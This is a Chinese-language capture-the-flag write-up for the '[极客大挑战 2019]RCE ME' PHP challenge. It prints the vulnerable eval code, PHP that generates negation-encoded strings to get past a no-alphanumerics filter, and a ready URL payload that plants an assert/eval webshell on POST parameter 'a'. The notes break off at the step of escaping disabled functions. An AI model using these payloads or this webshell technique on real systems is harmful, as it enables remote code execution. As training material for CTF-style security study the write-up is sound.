[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

取反和异或均可绕过

<?php
$c='phpinfo()';
$d=urlencode(~$c);
$e=~($d);
if(preg_match("/[A-Za-z0-9]+/",$e)){
    echo 0;
}else {
    echo 1;
}

?>

这个取反号写在外面也没事，慢慢试就发现写里面才有效

?code=(~%8F%97%8F%96%91%99%90)();

然后我找了一下flag发现没有，然后又找了一下不能使用的函数


7.0的版本我们还需要
我们需要调用eval拼接为assert（eval($_POST[a])）

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='eval($_POST[a])';
$d=urlencode(~$c);
echo $d;

?>

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

然后链接

http://a967fa8b-203d-4c2a-b4ab-11c784927d01.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
密码是a

进入之后flag里面没有flag而readflag是一个程序

进入虚拟终端没有权限

使用插件

php7这两个都可以，我们刚才看了php版本的